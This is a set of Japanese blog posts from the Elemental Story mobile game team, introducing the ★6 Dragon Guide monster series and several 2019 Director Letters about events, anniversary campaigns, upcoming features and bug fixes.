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  • 新モンスター紹介!『★6竜導士シリーズ』
    こんにちは。エレメンタルストーリー運営チームです。
    このたびゲーム内に登場する新たな★6モンスター「竜導士シリーズ」をご紹介いたします!

    ★6炎竜導士フォボス
    ★6炎竜導士フォボス

    今回追加される5属性★6のモンスターは既に登場している「竜装騎士シリーズ」同様、属性以外は全員共通の性能となっています。

    ★6水竜導士ナイアド
    ★6水竜導士ナイアド


    スキル3:○属性の味方全員のHPを大きく回復、さらに次の攻撃をかなり大きく強化


    スキル1、2、3は全て味方のHPを回復し、さらに攻撃を強化する能力となっています。
    人気モンスター「★6 ラケシス」のスキル3のような、回復とブーストを同時にこなすスキルです。

    スキル3はラケシスを超えるブースト効果値を持っているので、
    様々なクエストにおいて、安定した活躍が期待できます。

    【2019/10/11追記】
    10/11に実施しましたバランスアップデートにより、既存のブースト系などの強化効果と共存できるようになりました。
    これにより、攻撃+強化効果のスキルを持つモンスターや、強力な強化効果のスキルを持つモンスターと組み合わせて
    より高いダメージを狙えるようになりました。

    ★6嵐竜導士アマルテア
    ★6嵐竜導士アマルテア


    進化アビリティ:オーバーヒールハーフ【○】
    ○属性の味方全員が最大HPを超えて回復することができる(最大1.5倍、重複なし)


    HPの最大値を超えて回復できるようになるというアビリティで、パーティの耐久力を大きく底上げします。
    「★7 五戦神ハルドラ・モルス」も所持しているタイプのアビリティで、ハルドラ・モルスよりも効果値は下がりますが、バトルをかなり有利に進めることができます。

    竜導士は自属性の味方全員を回復するスキルを所持しているので、とても相性がいいアビリティです。

    ★6光竜導士ミランダ
    ★6光竜導士ミランダ


    覚醒アビリティ:極:○トランス
    ターン終了時、○ピース3つを○ピースに変化


    対象ピースを3つまで変化させる、最上位のトランスアビリティです。
    変換モンスターをパーティに入れない編成もピースが安定しやすくなります。

    ★6闇竜導士ナマカ
    ★6闇竜導士ナマカ


    Soulアビリティ:HP増加+500
    HPが500アップ ※SoulMax時の性能となります


    自身のHPを大きく上げるアビリティです。
    竜導士はサポートタイプのモンスターなので、耐久力を増やすことでさらに安定感を増すことができます。


    最後に「★6炎竜導士フォボス」のプレイ動画をご紹介いたします。
    ゲーム内の召喚画面からもモンスター毎の動画を確認できますので、是非ご覧ください!

    ※動画を再生するには、videoタグをサポートしたブラウザが必要です。


    今後とも「エレメンタルストーリー」をよろしくお願いいたします。

    ※実装後、バランス調整などで性能を調整する場合がございます
    ※当ブログにて使用している表現は、ゲーム内と一部異なる場合がございます

    2019.6.4
  • ディレクターレターvol18

    エレメンタルストーリー

     

    エレメンタルストーリーをいつもプレイしていただきありがとうございます。
    ディレクターの加藤です。

    まずはじめに、5.4アップデート以降度重なる不具合が発生しており、遊んで頂いてるユーザーのみなさんにご迷惑をおかけしていることをお詫び申し上げます。
    5月29日(水)15:00~のアップデートで影響度の高い不具合改修を実施しました。
    まだ残っている不具合に関しても順次対応を実施しており、随時解消していく見込みです。
    もう暫くの間ご迷惑をおかけいたしますが暫くお待ちいただくようよろしくお願いします。

     

    さて、今回のディレクターレターですが4周年直前という事で「4thAnniversaryキャンペーン」の紹介や6月に実施予定のイベント内容、今後のエレメンタルストーリーの運用方針についてお話させていただければと思います。

     


     

    ■4thAnniversaryキャンペーンについて

     

    おかげさまで、「エレメンタルストーリー」は6月1日に4周年を迎えます。
    いつも遊んでいただき、本当にありがとうございます。

    4月26日より「4thAnniversary直前キャンペーン」を実施しておりますが、6月1日からもたくさんのキャンペーンが開始されます。
    その中からいくつかのキャンペーンをピックアップして紹介させていただければと思います。

     

    【1】4th記念 毎日無料10連召喚

    10連

     

    期間中毎日無料10連召喚を実施します。

    【期間】
    5/31(金)18:00~6/15(土)17:59

    上記期間中毎日無料10連召喚を1回、回すことができます。
    今回は4周年記念として、召喚で出現するモンスターの他、★5武器も出現対象となります。
    さらに10連召喚を1回引くごとに「4thチケット」が1枚獲得できます。
    「4thチケット」は複数枚集める事で「4th★6未所持召喚券」など様々な豪華アイテムと交換することができます。

     

    【2】4th記念スペシャルログインボーナス

    spログボ

     

    期間中ログインするだけで、一人1回必ず「300クリスタル」獲得できます。

    【期間】
    6/1(土)0:00~6/30(日)23:59

     

    【3】4thくん撃破ミッション

    4thくん

     

    期間中属性大陸に出現する「4thくん」を撃破した体数に応じて後日全ユーザーの方にアイテムが付与されます。
    ※討伐数は全ユーザーの討伐数の累計でカウントされます。

    【期間】
    6/1(土)0:00~6/9(日)23:59

    討伐数報酬は下記になります
    5,000体討伐:ライフポーション×10
    10,000体討伐:クリスタル×20
    20,000体討伐:★5武器確定召喚券×1
    50,000体討伐:クリスタル×30
    100,000体討伐:★5武器確定召喚券×3
    200,000体討伐:ライフポーション×30
    500,000体討伐:クリスタル×100

     

    【4】公式グッズ販売開始

    公式グッズ

     

    オンラインショップにて公式エレストグッズを販売します。
    スマホケースやタペストリーなど様々な新規グッズが追加されます。
    オンラインショップでの販売期間は現状設けておらず、定期的に新グッズを増やしていく予定です。

    【期間】
    5/31(金)12:00~

     

    【5】サントライラスト集の再販

    サントラ再販

     

    昨年販売した「3rd Anniversary ELEMENTAL STORY BOX ‐ORIGINAL SOUNDTRACK&ART BOOK‐」を、4周年を記念して再販します。
    サントラ3枚組(全62曲収録)&アートブック(描き下ろしイラスト収録)
    購入特典で★5ホノリウスがもらえるプレゼントURLが付いてきます。

    また、音楽配信サイト(iTunesやGoogle play)で音源のみの販売も準備を進めております。

    【期間】
    5/31(金)12:00~

     

    他にも様々なキャンペーンを実施しております。
    詳しくは「エレメンタルストーリー4周年記念キャンペーン特設サイト」を御覧ください→4周年特設サイト

     

    ■6月開催予定のイベントについて

     

    生放送や、僕のTwitterで結構触れているのでご存知の方も多いかとは思いますが
    6月月初は「ダークネスリパルサー-明星の七賢人-」が開催されます。

    Logo1
    エレストのイベントといえば、神話などをモチーフにした内容がメインなのですが4周年1回目のイベントはエレストオリジナル題材のイベントを開催します。
    七元徳をモチーフにした「七柱の神」と契約者の「七賢人」が登場するイベントとなっております。

    今回は久しぶりのエレストオリジナルの題材ということで、様々な設定やBGMなど力を入れて作ったので世界観を含め楽しんでいただければと思います。

     

    ▼今回登場予定の「七賢人」

    ★5 オレア
    オレア

     

    ★5 フリージア
    フリージア

     

    ▼今回登場予定の「七神」

    ★6 プルーデンス
    プルーデンス

     

    ★6 テンペランス
    テンペランス

     

    イベントの内容は過去に開催していた「運命のリベラシオン」と同じような内容ですが一部変更点があります。

     

    ▼イベント内容の変更、調整点について

    ・イベント「運命のリベラシオン」では”五戦神の戦貨”を集めて、イベント召喚を回すというのが基本の報酬獲得方法でしたが、イベント「ダークネスリパルサー」は”七神の輝き”というアイテムを集めて交換所で交換してアイテムを獲得という仕組みに変更されています。

     

    ▼イベントグランバトルのドロップ内容の調整

    イベント「ダークネスリパルサー」では”Normal”と”Hard”2種類のグランバトルが存在します。
     ”Normal”は、”Hard”の挑戦に必要な「プルーデンスの虹色オーブ」が獲得できます。
     ”Hard”は”Normal”より難易度が上がり”★6プルーデンス”の獲得確率と”七神の輝き”の獲得量が上がってます。
     ※Hardで”プルーデンスの虹色オーブ”は獲得できません。
    ・報酬区分別レアアイテム獲得確率の調整します。
     自発>MVP>救援の報酬区分順にレアアイテムが獲得しやすくなります。
     ※収集アイテムに関しては区分関係なくほぼ均等に獲得できます。
    ・レアアイテム獲得確率調整に合わせてMVP枠を通常5位までから10位まで拡張します。

     

    続いて、6月中旬に開催予定のイベント「天才!鍛冶屋ドヴァリン兄弟」です。

    北欧神話を題材にした物語から新モンスターが多数登場します。

    Logo2

     

    ★6 ギュルヴィ
    ギュルヴィ

     

    ★5 シギュン
    シギュン

     

    他にも様々なモンスターが登場予定なので楽しみにしていてください。

     

    2019 SUMMER coming soon…

    summer

     

    summer

     

    ★6 プルート
    プルート

     

    ■6月のクロスロワイヤルについて

     

    6月のクロスロワイヤルは前回開催の状況を考慮して開催いたしません。
    5.4アップデートの影響が及んでいる箇所の洗い出しと修正を実施後、7月以降の開催を現在検討しております。
    楽しみにしていてくれている方にはご迷惑をおかけしますが、ご理解いただけますと幸いです。
    続報については次回以降のディレクターレターなどでお伝えしていこうと思っています。

     

    今後の究極実装予定モンスターについて

     

    6月の上旬頃★5 ジュリエット の究極融合が解禁されます。
    ★5 究極ジュリエット
    ジュリエット

     

    6月下旬には★5 ヴィーザル の究極融合が解禁されます。
    ★5 究極ヴィーザル
    ヴィーザル

     

    Coming Soon…
    ★? ????
    新究極1

     

    ★? ????
    新究極2

     

    ★? ????
    新究極3

     

     

    試練の塔について

     

    ディレクターレターや生放送などで紹介していた「試練の塔」が5.4アップデートで実装されました。
    一回目の開催は6月の中旬以降を予定しております。

    今回は開催に先駆け、実際の画面スクリーンショットを交えながら仕様を少し説明します。
    (以下試練の塔関連、開発環境のスクリーンショットになるのでリリース時には若干異なる場合がございます)

     

    ▼試練の塔TOP画面

    塔1

     

    コチラが試練の塔のTOP画面になります。
    この画面から各階の情報や、試練の塔用のパーティ編成画面に遷移できます。

    ▼試練の塔用パーティ編成画面

    塔2

     

    コチラが試練の塔専用のパーティ編成画面になります。
    試練の塔挑戦時は5階層一区切りでパーティを用意してもらうことになります。
    一区切り内でモンスター、アビリティーカード、武器の重複編成はできません。
    クリアしたフロアに使用したモンスター、アビリティカード、武器は次の5階層目に到達するまで使用できなくなります。

    ▼試練の塔出現モンスター確認画面

    塔3

     

    コチラが各階の内容を確認する画面です。
    各階のフロア毎に出現するモンスターの内容とステージ情報が確認できます。
    ステージ情報の部分にはその階で発生するデバフの内容や様々な制限が表示されるので、確認してパーティ編成をするのが攻略のコツです。
    クリアするまでは何度も挑戦できるので、最適なパーティを試行錯誤して攻略を目指してください。

     

    全50階層で、上層階に行くほど難易度が上がっていきます。
    各階層をクリアすると「専用のコイン」が獲得でき様々な報酬と交換することができます。

    文字で説明するより、実際に遊んでもらったほうが早いのですがざっくりこんな感じの仕様になります。
    重複編成ができなかったり、特定の階層攻略に使用したパーティ(アビリティカード、武器含む)が再使用できなくなったりするので強力なモンスターや各状態異常、コア耐性を持ったモンスターが複数必要になります。

    報酬は積み上げ式になっているので、多くのみなさんに楽しんでいただけると思います。

    まだまだ情報不足な部分もあるとは思いますが、開催をお待ちいただければと思います。

     

    今後の方針について

     

    6月1日で4周年という一つの節目を迎えるので今回は今後の方針についてお伝えさせてください。

    エレストは4年間で約600万人の方に遊んでいただいており、5周年に向けて「より多くの方に楽しんでいただけるゲーム」にするという目標を軸に動いていきたいと考えています。
    まずは、「安定」したゲームサービスを提供するということを最優先に、積極的なコラボイベントの開催、既存コンテンツやUIのブラッシュアップ、不具合の修正といった所に力を入れていきます。

    上記方針を元に、開発などの体制も少し変えようと考えていて大規模なコンテンツ追加や改修の頻度は落ちますが、既存コンテンツや細かいブラッシュアップ、不具合修正といった所に力をかけられるようになるので今より快適に遊んでいただける環境をお届けできると思います。
    まずは、業務の流れを改めて整備し、各セクション新しい体制に注力できる環境を構築し、安定したサービスを提供に向けた準備に注力していきます。

     

    向こう数ヶ月のアップデートスケジュールは以下のような感じで想定しています
    (開発などの状況で前後する可能性がございます)
    6月~7月 コンテンツ・機能のブラッシュアップ、不具合修正を含むアップデートを複数回に分けて実施
    8月~9月 新チームイベント「GranUnited(仮)」の実装を含む大型アップデートとコンテンツ・機能のブラッシュアップ、不具合修正を含むアップデート
    10月~11月 アリーナやクロスロワイヤルなどのバランス調整やリニューアル、コンテンツ・機能のブラッシュアップ、不具合修正を含むアップデート
    And More…

     

    コラボイベント開催についてはすでに複数タイトル決まっており、順次お知らせできると思いますので楽しみにしていただければと思います。

    合わせて、7月中旬頃から少し変更予定の箇所がありまして、月に実装される究極モンスターの体数を増やします。
    現状だと月2体~の所、月4体~の実装にします。この変更に伴い、試練産★4~5、召喚産★4モンスターなど幅広く究極対象を検討していきます。
    季節限定モンスターが存在する月は過去の季節限定モンスターを積極的に究極対象としていくので楽しみにしていてください。

    また、エレストを実際に遊んでくれている方と交流する機会も大切にしたいと考えていて、オフラインイベントの開催も積極的に検討していきたいと考えています。
    直近ですと4周年を記念して関東・関西を除いたまだオフラインイベントを開催したことのない地域複数箇所での実施の準備をしております。
    まだ決定しているわけではないので正式なアナウンスができないのですが夏頃実施の予定をしているので楽しみにしていただければと思います。

     

    ■最後に
    今回のディレクターレターも最後まで読んでいただきありがとうございます。
    5.4アップデート以降の度重なる不具合に関して改めて深くお詫び申し上げます。
    5月29日の不具合修正アップデートでクリティカルな部分のプログラム修正は対応しましたが、まだ数件障害が発生しております。
    引続き開発チーム全体で不具合修正に向けて作業を進めていきますので、お待ちいただければと思います。

     

    今回も読んでいただいたお礼として”あいことば”を用意しましたので是非お受け取りください。
    あいことば→『4周年直前』
    公式LINEに上記あいことばを入力していただくとゲーム内で利用できるアイテムが受け取れます。(受け取りは6/15 23:59までです)
    エレスト公式LINEアカウントはこちら→エレスト公式LINEアカウント

     

    引続き、エレメンタルストーリーをどうぞよろしくお願いします。

     

    エレメンタルストーリー ディレクター 加藤拓真

     

    Twitterも更新していますので是非followをお願いしますm(_ _)m
    Twitter→加藤Twitter

    2019.5.30
  • ディレクターレターvol17

    エレメンタルストーリー

     

    エレメンタルストーリーをいつもプレイしていただきありがとうございます。
    ディレクターの加藤です。

    もうすぐ4月なのに、まだまだ寒い日が続きますね。
    今回のディレクターレターでは、4月に開催されるイベントの紹介や新イベントの開発状況、新しく登場するコンテンツ・モンスターに関する新情報などについて紹介していきます。

     


     

    4月に開催予定のリアルイベントについて

     

    リアイベ
     

    4月の末に開催される『character1 2019』というイベントに出展することが決まりました!
    当日はエレメンタルストーリーブースにて過去にファンミーティングなどで販売したグッズを再販売します。
    また、会場には菊丸や大吉、たぶん僕も行くのでお時間がありましたら是非遊びにきてください。

    追加情報については、ゲーム内のお知らせや公式Twitterで随時発表していきますので楽しみにしててください。

     

    ■character1とは

     

    多くのアニメ、ゲーム、コミックなどのCharacterをテーマにした総合見本市。
    開催期間中、出展企業・団体による展示、物販、トークショー、ライブステージなどが実施されます。

    開催時期 4/29(月)11:00~17:00
    会場 東京ビッグサイト西4F

    character1公式サイト

     

    「レイドバッカーズ」コラボについて

     

    2019年1本目のコラボイベントとして、劇場版オリジナルアニメ「レイドバッカーズ」とのコラボが4月5日から開催されます。
    ゲーム内で開催されるイベントなどで「レイドバッカーズ」に登場するキャラクターが手に入るので是非挑戦してみてください。
    また、今回初の試みとして「レイドバッカーズ」が公開される劇場で販売されるパンフレットを購入していただくことで限定キャラクターが獲得できます。

    ★5 ハラミ&アテナ
    コラボ

     

    「レイドバッカーズ」関連Link

     

    character1レイドバッカーズ公式サイト
    character1レイドバッカーズ公式Twitter

     

    ■4月開催予定のイベントについて

     

    4月月初は「エレスト学園2019-初恋はレモンの味-」が開催されます。

     
    イベLogo_1
     

    4月のエレストといえば、エレスト学園!ということで今年も2週間限定でエレスト学園が開校します。
    今年も学生服に身を包んだ、新モンスターが多数登場しますので是非イベントに参加して獲得してみてください。

     

    ★6 放課後のティアマト
    学1

     

    ★5 帰国子女モーラ
    学2

     

    ★5 テニス部エア
    学3

     

    続いて、4月中旬に開催予定のイベントは「シャルルマーニュ伝説」です。

    シャルル大王とその部下の騎士たちを題材にした英雄物語から新モンスターが多数登場します。

     
    イベLogo_2
     

    ★5 アンジェリカ
    シャル1

     

    ★5 ロジェロ
    シャル2

     

    ★5 ブラダマンテ
    シャル3

     

    他にも様々な騎士達が登場予定なので楽しみにしていてください!

     

    また4月のクロスロワイヤルは4月19日からの開催を予定しております。
    その他4月に実施予定のキャンペーンやイベント情報などは週間スケジュールやゲーム内のお知らせが掲載されますのでそちらをご確認いただければと思います。

     

    4月の究極実装予定モンスターについて

     

    4月の上旬頃★5 ダーマッドの究極融合が解禁されます。
    ★5 ダーマッド
    4上究極

     

    4月下旬にも究極融合が解禁されるモンスターが登場するので生放送などでの発表をお待ち下さい。
    ★? ????
    4下究極

     

    Coming Soon…
    ★? ????
    coming究極

     

    次回実装予定天上界マシン島(仮)について

     

    マシンモチーフの天上界の準備も着々と進んでいます。
    マシン島も新モンスターと新ギミックの実装を予定してます。
    今回はマシン島(仮)のマップ画像のラフと登場予定の新キャラクターを公開します。

    マシン島マップ
    マップ

     

    マシン島で登場予定の新モンスター
    マシンmob

     

    実装は5月中旬頃を予定しております。

     

    次回アップデートで実装予定の試練の塔(仮)について

     

    前回のディレクターレターで少し紹介した「試練の塔(仮)」が大枠のイメージと基礎設計が完了しました。
    これから2週間くらいかけて開発環境で実際に動くように実装し、5月上旬頃予定しているメンテナンスで実装、早くて5月末頃の公開を予定しております。

    開発中のサンプル画像ですがだいたいこんな感じの画面になります。

     

    イベLogo_1
    ※開発中の画像の為、リリース時とは異なる可能性があります

     

    全50階層からなる塔で、上層階に行くほど難易度が上がっていきます。
    各階層をクリアすると「専用のコイン」が獲得でき様々な報酬と交換することができます。
    本イベント専用の仕様として、特定の階層攻略に使用したモンスターがシーズン中使用不可能になるなど特殊なギミックも実装予定です。

    ざっくりではございますがこんな感じのコンテンツになります。
    まだリリースまで期間があるので多少変わる可能性もありますが、楽しみにしていただければと思います。

    またイベント報酬の一部として、「ナンバーズシリーズ」の復刻と未実装ナンバーズの実装&「統べし者」の実装を予定しております。

     

    ナンバーズ
    Numbers

     

    統べし者-ゼロ-
    ZERO

     

    追加情報についてはまた生放送やディレクタレターでお伝えさせていただきます。

     

    バーチャルYouTuber募集キャンペーンについて

     

    1月から開始しましたバーチャルYouTuber募集キャンペーンも大盛況のうちに3月中旬をもって終了となりました。
    本当に多くのバーチャルYouTuberさんにたくさんの動画を上げていただき感謝してます。ありがとうございます。
    実際に何名かのバーチャルYouTuberさんの生配信にもお邪魔させていただいたりして、僕自身も非常に楽しめました。

    本キャンペーン特典のゲーム内実装バーチャルYouTuberさんについてですが、生放送で発表があったとおり
    「社居ノエル」さんと「公野ゆめか」さんで決定しました。

     
    V
     

    本来実装を予定していたのは1名の予定だったんですが、運営内でも甲乙つけ難く議論の末、今回は特別にお二人の実装を決めました。

    実装時期などについてはまたゲーム内お知らせや公式Twitterなどでアナウンスがあると思うのでそちらをお待ち下さい。

    ノエルさんのYouTubeチャンネルはコチラ→社居ノエル
    ゆめかさんのYouTubeチャンネルはコチラ→公野ゆめか

     

    ■最後に
    今回のディレクターレターも最後まで読んでいただきありがとうございます。
    まだ次回アップデートの開発も途中のためあまりお伝えできることが少なくすいません。
    2019年6月のエレメンタルストーリーリリース4周年に向けて様々なキャンペーンやイベントなど用意しているので楽しみにしていてください。

     

    今回も読んでいただいたお礼として”あいことば”を用意しましたので是非お受け取りください。
    あいことば→『レイドバッカーズコラボ』
    公式LINEに上記あいことばを入力していただくとゲーム内で利用できるアイテムが受け取れます。(受け取りは4/15 23:59までです)
    エレスト公式LINEアカウントはこちら→エレスト公式LINEアカウント

     
    エレメンタルストーリー ディレクター 加藤拓真
     

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    Twitter→加藤Twitter

    2019.3.29
  • ディレクターレターvol16

    エレメンタルストーリー

     

    エレメンタルストーリーをいつもプレイしていただきありがとうございます。
    ディレクターの加藤です。

     

    まだ寒い日が続いてますが、春の気配を感じる頃となりました。
    僕は花粉症持ちなのでツラいシーズンの到来でもあります。

    開発チームは5.2アップデートを終えて、次回アップデートの開発に着手した段階です。
    次回アップデートを含む、今後の展望については本ディレクターレターの後半で少しお話させていただこうと思います。

    ではさっそく、3月に開催予定のイベントから紹介していきます。

     

    ■3月開催予定のイベント情報

     

    すでに開始されていますが、3月月初は「Lost Pages アナザーストーリー」です。

     

    イベLogo_1

     

    LostPagesは去年2月に1度開催しているので、1年ぶりの開催となり、新たな童話編のモンスターたちが多数実装されます。

     

    ★5 ベニバラ
    イベLogo_1

     

    ★5 ルシャ
    イベLogo_1

     

    続いて、3月中旬に開催予定のイベント「権天使再臨」です。

     

    イベLogo_1

     

    天使たちが多数登場するイベントとなっております。
    天使シリーズにフォーカスしたイベントも2018年5月頃に開催した「カタストロフ・トリガー-双翼戦争-」以来になりますね。

     

    ★5 デュミナス
    イベLogo_1

     

    ★5 アルケー
    イベLogo_1

     

    他にも様々な天使達が登場予定なので楽しみにしていてください!

     

    また3月のクロスロワイヤルは3月20日からの開催を予定しております。
    その他3月に実施予定のキャンペーンやイベント情報などは週間スケジュールやゲーム内のお知らせが掲載されますのでそちらをご確認いただければと思います。

     

    ■天上界『煌影の竜宮殿-Shade of Dragon Palace-』のステージ追加について

     

    5.2アップデートでようやく天上界『煌影の竜宮殿-Shade of Dragon Palace-』が実装されました。
    新ギミック「竜の石像」も追加され結構遊びごたえのあるステージに仕上がっていると思います。
    次回のステージ追加ですが、3月の中旬頃を予定しておりますので楽しみにしていただければと思います。

     

    ■次回以降のアップデートについて

     

    次のアップデート日はまだ未定ですが、4月下旬~5月上旬頃を予定しております。

     

    先日実施した5.2アップデートでは、大きなコンテンツ追加は実施せず、パーティ強化に直結する新アイテム「オリハルコン」の実装や、エレメンタルカードリニューアル、既存の不具合修正、今後実装予定のコンテンツの仕込みなど、現環境を是正するための細かい改修や実装にフォーカスしました。
    次回アップデートでは
    ・試練の塔(仮名)実装
    ・パーティ毎に武器がセットできるよう、機能の拡充
    ・モンスターグレードのユーザーランク切り離し対応
    ・デイリーミッションの見直しと、ユーザーランク上げなどが目標化できるような新規ミッションの追加
    ・エレメンタルコイン交換所のリニューアルとラインナップ更新
    ・アリーナ通信周りの仕組みの見直し
    ・不具合修正
    などを予定しております。

    新しい機能追加でいうと「試練の塔(仮名)」の実装になるかと思います。
    ようやく企画の第一段階が終わり、初期の開発に着手したばかりなのでイメージ画像などはまだ出せる段階ではないのですが、「異界の門」のような腕試しコンテンツになる予定です。
    開催頻度は月1くらいを想定して、ここでナンバーズの復刻や、まだ未実装のナンバーズの登場を予定しております。
    まずはソロプレイ向けの開発と実装になるんですが、今後の展望としてチームでの挑戦や、チーム機能が恩恵になるような仕組みの導入も検討しています。
    報酬設計は積み上げ式で進行していて、どのランク帯の人でも継続してイベントに挑戦していただくことで「★6確定召喚券」や「オリハルコン」など様々な報酬が獲得できるように設計していこうと考えてます。

    次回アップデートの詳細や進捗については都度報告させていただきますので続報をお待ちいただければと思います。

     

    5.2アップデートに続き、既存コンテンツのテコ入れに着手できず大変申し訳ないのですが、まずはベース構築が最優先だと考えているのでもう少し時間をください。

     

    続いて、僕のTwitterに設置してある質問箱などで特に多くいただいているご意見や質問などについて今回も少しだけお話させていただきます。

     

    ◆アリーナの改修進捗について
    前回報告させていただきましたステータスから現状進捗はないです。
    直近1ヶ月間の全バトルに対しての切断割合は1.9%前後を推移しています。
    引続き、不正調査や不正ユーザーの取締、切断原因について動向を追っていく作業は継続して実施しております。
    今後も本件に関しては進展があり次第ディレクターレターやゲーム内のお知らせなどで状況などをお伝えさせていただきます。

     

    ◆イベントの復刻スケジュールについて
    特に要望をいただいているのが、「復刻リベラシオンシリーズ」「天上界BOSSグランバトル」「ナンバーズが獲得できるイベント」の3つです。
    1つずつ回答させていただきます。

     

    「復刻リベラシオン」についてですが毎月1種類ルーチンで開催を予定しております。2月は疾風編の復刻を実施しましたので、3月は灼熱編を予定しております。
    一旦1周するまでは、1種類ずつ月1の開催を予定していて、1周したあとは1~3種類くらいをセットにして復刻開催を予定してます。

     

    「天上界BOSSグランバトル」についてですが、「ソフォス」の復刻タイミングについてはまだ決まっておらず実施時期をチーム内で検討している最中です。
    ただ、「ソフォス」に続く新しい天上界BOSSグランバトルの実装を4月上旬頃予定しておりますので楽しみにしていただければと思います。

     

    「ナンバーズが獲得できるイベント」についてですが、次回以降のアップデートについての項目で触れさせていただきました通り、新規実装予定の「試練の塔(仮)」で復刻&未実装ナンバーズの実装を予定しておりますので楽しみにしていてください。
    実装時に、ナンバーズの武器も合わせて復刻、新規実装を予定してます。

     

    ◆天上界の難易度や収集物のバランス調整について
    直近でのバランス調整は考えていません。
    次回アップデート以降の調整項目として実施しようかなと考えています。
    天上界に限らず、全コンテンツにおいて消費スタミナや、各収集物のバランスについては順次調整の余地はあると僕自身感じているので開発の状況をみて適時実施していきたいと思ってます。

     

    その他にいただいている質問などについても引続き、ディレクターレターや生放送などでお伝えできればと思っていますのでお待ちいただけますと幸いです。

     

    ■エレスト創作部について

     

    1月に二次創作ガイドラインと、Twitterをご利用の方向けに「#エレスト創作部」というハッシュタグを公開しました。
    本当にたくさんの作品を投稿していただけて、とてもうれしく思っております。
    今回実際に制作されたみなさんから許可をいただいた一部作品を紹介させていただきます。

     

    創作部
    音祢様(@teada11)
     

    創作部
    Sora様(@SoraNoOekakiAka)
     

    創作部
    フグコ様
     

    創作部
    鳴海様(@nalumi5884)
     

    創作部
    タラハッシー様(@shalltead)
     

    創作部
    さめ様(@kurageowo)
     

    創作部
    os様
     

    創作部
    どーなつ様(@donuthouse)
     

    創作部
    ¿様(@2iPO_)
     

    創作部
    らいち様(@kakin_kowaiyo)
     

    創作部
    夜宮ふゆ様(@huyuffxi)
     

    創作部
    なぎお様(@kurorokishi)
     

    創作部
    ちゃんみ様(@tyannmeiji)
     

    創作部
    姫野たつた様(@05Tag)
     

    創作部
    まぁぼ様
     

    創作部
    柑橘様(@mikan_usss_oso)
     

    創作部
    ジョージ@ゴブ神様(@nari0083)
     

    創作部
    れんたま様(@RENTAMA1219)
     

    創作部
    MISONぬ様(@miso_laloso)
     

    創作部
    優姫様
     

    創作部
    Ikt様(@Ikt0198)
     

    創作部
    バレ様(@Devil_Vale)
     

    創作部
    †902†様
     

    創作部
    蓮音様(@runba_____)
     

    創作部
    さっとー様(@Satt0_2)
     

    創作部
    HAL様
     

    創作部
    カナミ様(@kanamioraien)
     

    創作部
    ARiA様(@Arias_atrie2)
     

    創作部
    ソーニョ様
     

    創作部
    ギネル・ネベラ様(@kapena_gaia)
     

    創作部
    あんじゅ様
     

    創作部
    薪多折冬様(@makita_oreto)
     

    創作部
    スコ様(@sukosukokoko)
     

    創作部
    らぴす様(@rurirurilapis)
     

    miyamiya様(@NATSU76156667)
    ショートストーリー
    ツインテールの日
     

    他にも、今回連絡が取れずに掲載できない作品やブログの形式上掲載が難しくご紹介できませんでしたが、楽曲・短編小説だったり様々な作品が投稿されているので是非興味をもたれた方は一度「#エレスト創作部」で検索してみてください。
    これからもたくさんの作品が見れることを楽しみにしています。

     

    ■最後に
    いろいろ書いた結果とても長くなってしまいましたが、今回のディレクターレターも最後まで読んでいただきありがとうございます。
    読んでいただいたお礼として”あいことば”を用意しましたので是非お受け取りください。
     

    あいことば→『オリハルコン加藤』
    公式LINEに上記あいことばを入力していただくとゲーム内で利用できるアイテムが受け取れます。(受け取りは3/15 23:59までです)
    エレスト公式LINEアカウントはこちら→エレスト公式LINEアカウント
     

    3月も多くのみなさんに楽しんでいただけるようなキャンペーンをたくさん用意していますし、そろそろコラボの件とかも公開できるようになると思うので引続きエレメンタルストーリーを楽しんでいただければと思います。
    エレメンタルストーリー ディレクター 加藤拓真

     

    Twitterも更新していますので是非followをお願いしますm(_ _)m
    Twitter→加藤Twitter

    2019.2.26
  • ディレクターレターvol15

    エレメンタルストーリー

     

    エレメンタルストーリーをいつもプレイしていただきありがとうございます。
    ディレクターの加藤です。

     

    今回から、前回までの内容を踏襲しつつ少し新しい内容も含めこれからのエレメンタルストーリーに触れさせていただければと思っています。
    開発や改修の状況について僕のが考えていることもお伝えしたいと思っているので文体も少しカジュアルになってますがご理解いただけると幸いです。

     

    ■2月開催予定のイベント情報

     

    大変お待たせいたしました!「運命のリベラシオン-月影の勇者ヴァニラ編-」が2月月初に開催予定です。

     

    イベLogo_1

     

    ようやくイベント運命のリベラシオンシリーズもヴァニラの登場で一周しました。
    今回のリベラシオンも前回まで開催時と同様に★7モルス作成に必要な素材モンスターや大罪シリーズの★6モンスターが登場し獲得できます。

     

    ★6 アスモデウス
    イベLogo_1

     

    また同時期に開催される流星祭では満を持して加護ヴァニラも登場します。
    加護シリーズ特有のグランバトル時の高火力性能が今回も備わっています。

     

    ★6 黒魔王の加護ヴァニラ
    イベLogo_1

     

    スキル3
    コンボした回数だけランダムな敵に闇属性攻撃(最大20回)、さらに次のターンに闇マルチピース数をコンボ数に上乗せする
    アビリティ
    光属性の敵に与えるダメージが50%アップ、さらに10コンボ以上ならダメージ2倍

     

    続いて、2月中旬に開催予定のイベント「三国志-虎牢関の戦い-」です。

     

    イベLogo_1

     

    三国志シリーズのイベントはこれで2回目の開催になります
    前回は蜀にフォーカスしたイベント内容になっておりましたが今回は呉の武将が登場する予定です

     

    ★5 チョウセン
    イベLogo_1

     

    ★5 ソンケン
    イベLogo_1

     

    他にも様々な武将が登場予定なので楽しみにしていてください!

     

    また2月のクロスロワイヤルは2月20日からの開催を予定しております。
    その他2月に実施予定のキャンペーンやイベント情報などは週間スケジュールやゲーム内のお知らせが掲載されますのでそちらを確認いただければと思います。

     

    ■新天上界『煌影の竜宮殿-Shade of Dragon Palace-』について

     

    前回のディレクターレターでも少し触れました新しい天上界『煌影の竜宮殿-Shade of Dragon Palace-』の公開は2月の中旬頃を予定してます。
    ようやくMAPイラストとBGMも揃い開発も佳境を迎えました。
    新しく実装されるギミックやまだ未公開の新モンスターなど楽しんでいただける要素をたくさん用意しましたので楽しみにしていてください!

     

    前回のディレクターレターで紹介した2体のドラゴンとは別に今回もう1体”煌影の竜宮殿”に関わる新モンスターを紹介させていただきます。

     

    フィリア
    イベLogo_1

     

    上記イラストはラフとなっており、現在着色作業の方を進めている段階です。
    性能などはまだ公開できませんがこちらも楽しみにお待ちいただければと思います。

     

    『煌影の竜宮殿-Shade of Dragon Palace-』の次はマシンモンスターの天上界実装を予定してます。

     

    ■次回アップデートについて

     

    次のアップデートは2月の中旬以降を予定してます。

     

    主なアップデート内容としては
    ・新アイテム『オリハルコン』の実装
    ・エレメンタルカードのリニューアルと名称の変更
